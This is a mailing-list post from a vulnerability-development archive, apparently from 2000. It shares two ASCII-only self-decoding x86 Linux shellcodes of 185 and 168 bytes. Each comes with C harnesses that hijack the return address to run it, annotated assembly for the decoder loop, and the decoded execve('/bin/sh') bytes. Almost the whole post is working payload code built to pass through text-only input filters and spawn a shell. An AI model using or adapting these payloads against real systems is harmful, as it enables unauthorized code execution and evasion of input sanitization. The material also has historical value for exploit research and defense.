Vulnerability Development mailing list archives

Re: ascii decoder


From: Ramon Pinuaga <rpinuaga () S21SEC COM>
Date: Mon, 16 Oct 2000 19:35:45 +0200

Hi:

Here you have 2 ascii shellcodes that seems to work. This can help you
with some ideas.

The two are from 2 friends that were working on it some weeks ago.

185 bytes by shinji
===================================
// 185 bytes, quien dice que los milagros no existen?

char hell[]=
"LuHDMOBBALDFIHAO"
"JGIIEALJGMAAIPIL"
"JDNEAIFOINGAMIOM"
"NAIOPPPIPPPCGGGP"
"CJOCHGAPDIALLLTX"
"1838YW1030YVj0YI"
"j9X40PZhFFCCX1DN"
"Dj0X40H47Pf5qF0D"
"N00DN81DNYYFFF8l"
"NpAAAA8lNtAAAAiD"
"NpVFCC3DNt3DOp1D"
"OpAAFJujz"
"";


//shellcode decoded:
//"\x31\xc0" // xorl %eax,%eax
//"\xeb\x13" // jmp 0x13
//"\x5e" // popl %esi
//"\x89\x76\x08" // movl %esi,0x8(%esi)
//"\x89\x46\x0c" // movl %eax,0xc(%esi)
//"\xb0\x0b" // movb $0xb,%al
//"\x89\xf3" // movl %esi,%ebx
//"\x8d\x4e\x08" // leal 0x8(%esi),%ecx
//"\x8d\x56\x0c" // leal 0xc(%esi),%edx
//"\xcd\x80" // int $0x80
//"\xe8\xe8\xff\xff\xff" // call -0x22
//"/bin/sh\x00";//\x2f\x62\x69\x6e\x2f\x73\x68\x00

int main()
{
int *ret;
printf("%d\n",strlen(hell));
ret = (int *)&ret + 2;
(*ret) = (int)hell;
}

/*---------------------------------------------------

; 185 bytes, quien dice que los milagros no existen?

; LuHDMOBBALDFIHAO
; JGIIEALJGMAAIPIL
; JDNEAIFOINGAMIOM
; NAIOPPPIPPPCGGGP
; CJOCHGAPDIALLLTX
; 1838YW1030YVj0YI
; j9X40PZhFFCCX1DN
; Dj0X40H47Pf5qF0D
; N00DN81DNYYFFF8l
; NpAAAA8lNtAAAAiD
; NpVFCC3DNt3DOp1D
; OpAAFJujz


.386
.model flat
.data
.code

org 0000h

start:

DEC ESP
JNZ ini; salta siempre

shellcode:
; "\x31\xc0" // xorl %eax,%eax
; "\xeb\x13" // jmp 0x13
DB 44h,4Dh,4Fh,42h
DB 42h,41h,4Ch,44h

; "\x5e" // popl %esi
; "\x89\x76\x08" // movl %esi,0x8(%esi)
DB 46h,49h,48h,41h
DB 4Fh,4Ah,47h,49h

; "\x89\x46\x0c" // movl %eax,0xc(%esi)
; "\xb0\x0b" // movb $0xb,%al
DB 49h,45h,41h,4Ch
DB 4Ah,47h,4Dh,41h

; "\x89\xf3" // movl %esi,%ebx
; "\x8d\x4e\x08" // leal 0x8(%esi),%ecx
DB 41h,49h,50h,49h
DB 4Ch,4Ah,44h,4Eh

; "\x8d\x56\x0c" // leal 0xc(%esi),%edx
DB 45h,41h,49h,46h
DB 4Fh,49h,4Eh,47h

; "\xcd\x80" // int $0x80
; "\xe8\xe8\xff\xff\xff" // call -0x22
DB 41h,4Dh,49h,4Fh
DB 4Dh,4Eh,41h,49h


DB 4Fh,50h,50h,50h
DB 49h,50h,50h,50h
; "/bin/sh\x00";//\x2f\x62\x69\x6e\x2f\x73\x68\x00
DB 43h,47h,47h,47h
DB 50h,43h,4Ah,4Fh

DB 43h,48h,47h,41h
DB 50h,44h,49h,41h

workzone:

ini:

DEC ESP
DEC ESP
DEC ESP

PUSH ESP
POP EAX

XOR [EAX], EDI
XOR EDI, [EAX]  ; EDI apunta a start
POP ECX
PUSH EDI

XOR [EAX], ESI
XOR ESI, [EAX]  ; ESI apunta a start
POP ECX
PUSH ESI

_ECX equ 38h
_BYTEHALF equ 2Fh

PUSH 30h
POP ECX
DEC ECX ; ECX == _BYTEHALF

_BYTE equ _BYTEHALF*2

PUSH 39h
POP EAX
XOR AL,30h
PUSH EAX
POP EDX ; EDX == 00000009h
PUSH 43434646h
POP EAX ; EAX == 43434646h

XOR [ESI+2*ECX+(offset _imul-offset start-_BYTE)],EAX ; poner el valor del IMUL (*43434646*,43434656)

PUSH 30h
POP EAX
XOR AL,30h
DEC EAX ; EAX == FFFFFFFFh
XOR AL,(_ECX-1)
PUSH EAX

XOR AX,(4646h xor (_ECX-1)) ; EAX == FFFFB9B9h (B9 == FF xor 46, o FF xor 37 xor 71)

XOR [ESI+2*ECX+(offset _sub1-offset start-_BYTE)],AL ; poner el SUB=10000001 (*FF,46*,38)
XOR [ESI+2*ECX+(offset _sub2-offset start-_BYTE)],AL ; poner el SUB=10000001 (*FF,46*,38)
XOR [ESI+2*ECX+(offset _offset-offset start-_BYTE)],EAX ; poner el offset y el RET (*FFFF,4646*,xxxx)
                                                        ; es inecesario el EAH, pero me ahorro un byte asi

POP ECX ; ECX == -38h == FF,37 == C8

;main bucle

bucle:

INC ESI 
INC ESI
INC ESI ; al principio hacen falta 3 de mas... y en el bucle tanto da
        ; para que ESI apunte al shellcode

_sub1:
DB 38h, 6Ch, 4Eh, _ECX*2, 41h, 41h, 41h, 41h ; SUB [ESI+2*ECX+_ECX*2],41414141h
;  ^^ acabara poniendo 81h (38 xor (FF xor 46))

_sub2:
DB 38h, 6Ch, 4Eh, _ECX*2+4, 41h, 41h, 41h, 41h ; SUB [ESI+2*ECX+_ECX*2*4],41414141h
;  ^^ acabara poniendo 81h (38 xor (FF xor 46))

IMUL EAX,[ESI+2*ECX+_ECX*2],43434656h    ; acabara poniendo 16==00000010h mediante un XOR
_imul equ $-4

XOR EAX,[ESI+2*ECX+_ECX*2+4]

XOR EAX,[EDI+2*ECX+_ECX*2]
XOR [EDI+2*ECX+_ECX*2], EAX

INC ECX
INC ECX

INC ESI

DEC EDX ; contador

_jnz:
DB 75h ; JNZ bucle
_offset:
DB 6Ah ; acabara poniendo D3 == (6A xor (FF xor 46))

_ret:
DB 7Ah ; acabara poniendo C3 ("RET NEAR") == (7A xor (FF xor 46))

fin equ $

end start
---------------------------------------------------------*/
=======================================


168 bytes by fatuo
=======================================
char hell[]=
//"LL"   // 4c * 2        dec %esp * 2
//No necesitamos el salto pq el shellcode codificado no nos perturba, mas bien ayuda
// Shellcode codificado
"JAAAIJAA"
"AOADAJMO"
"MEAAFGMA"
"AAAIAAAH"
"NOAOBJCJ"
"AIFAJHGI"
"IEAILOIL"
"DAMIGMLA"
"OONNICNN"
"NCGGNNCH"
"GCFGONBI"
"A"
// Shellcode desencriptado
"LLL"    //      4c * 2                  dec    %esp *  2 veces (Ya he hecho 2 al principio)
"A"     //      Instruccion inutil ke es parte del shellcode codificado
"Z"     //      5a                      pop    %edx
"R"     //      52                      push   %edx
// EDX  == direccion del shellcode enc ; guardamos la dir en la pila para la recuperarla luego
"j9"    //      6a 39                   push   $0x39
"X"     //      58                      pop    %eax
"0Bf"   //      30 42 66                xor    %al,0x66(%edx)
// Modificamos el pop %esi para ke haga su funcion
"P"     //      50                      push   %eax
"g"     //      5e                      pop    %esi
// ESI == +0x39 Para referenciar al shellcode codificado del imul junto kon el EDX
// y para escribir el shellcode de "shell" despues del fin de este shellcode
"0D2K"  //      30 44 32 4b             xor    %al,0x4b(%edx,%esi,1)
// Modificamos el pop %esp para ke haga su funcion
"4a"    //      34 61                   xor    $0x61,%al
"0D2U"  //      30 44 32 55             xor    %al,0x55(%edx,%esi,1)
// El imul ha sido modifikado para ke haga multiplikaciones por 2^16
"4T"    //      34 54                   xor    $0x54,%al
"P"     //      50                      push   %eax
"Y"     //      59                      pop    %ecx
// ECX == 0xc ; Contador para el loop de desencriptacion
"V"     //      56                      push   %esi
"X"     //      58                      pop    %eax
"49"    //      34 39                   xor    $0x39,%al
"H"     //      48                      dec    %eax
"4z"    //      34 7a                   xor    $0x7a,%al
"0D2T"  //      30 44 32 54            xor    %al,0x54(%edx,%esi,1)
// Para ke el imul se guarde en el registro %eax
"0D2n"  //      30 44 32 6e             xor    %al,0x6e(%edx,%esi,1)
// Modificamos el jnz para ke haga un salto hacia atras
"e"     //      5c                      pop    %esp    <KODIFICADO>
// ESP == dir del shellcode codificado
// loop:
"G"     //      47                      inc    %edi
// Byte de relleno ke no afecta y sirve para aklarar offsets
"X"     //      58                      pop    %eax
"5AAAA" //      35 41 41 41 41          xor    $0x41414141,%eax
"kEH"   //      6b c0 10                imul   $0x10,%eax,%eax       <KODIFICADO>
"3D2o"  //      33 44 32 6f             xor    0x6f(%edx,%esi,1),%eax
"1D2o"  //      31 44 32 6f             xor    %eax,0x6f(%edx,%esi,1)
"X"     //      58                      pop    %eax
"5AAAA" //      35 41 41 41 41          xor    $0x41414141,%eax
"1D2o"  //      31 44 32 6f             xor    %eax,0x6f(%edx,%esi,1)
"FFFF"  //      46 * 4                  inc    %esi * 4
"I"     //      49                      dec    %ecx
"uX"    //      75 d2                   jne    <loop>  <KODIDICADO>
// Loop descodificador
// AKI IRA EL SHELLCODE DESCODIFICADO
;



int func() {
  int *ret;
   ret = (int *)&ret + 2;
   (*ret) = (int)hell;
}
int main() {
    printf("Long: %d\n",strlen(hell));
    func();
}
/* Ahora usaremos este shellcode:
char shellcode[]=
"\xb8\x0b\x00\x00\x00" // movl $0xb,%eax
"\xeb\x0c" // jmp 0x0c
"\x5e" // popl %esi
"\xc7\x46\x0c\x00\x00\x00\x00" //movl   $0x0,0xc(%esi)
"\x89\xf3" // movl %esi,%ebx
"\xeb\x02" // jmp 0x02
"\xeb\x0b" // jmp 0x08
"\x89\x76\x08" // movl %esi,0x8(%esi)
"\x8d\x4e\x08" // leal 0x8(%esi),%ecx
"\x8d\x56\x0c" // leal 0xc(%esi),%edx
"\xcd\x80" // int $0x80
"\xe8\xe2\xff\xff\xff" // call -0x22
"\x2f\x62\x69\x6e\x2f\x73\x68\x00"
;
*/
=================================

--------------------------------------------
Ramon Pinuaga Cascales - rpinuaga () s21sec com
Consultor de Seguridad Telematica  -  S21SEC
--------------------------------------------
La seguridad es solo un estado mental...


Current thread: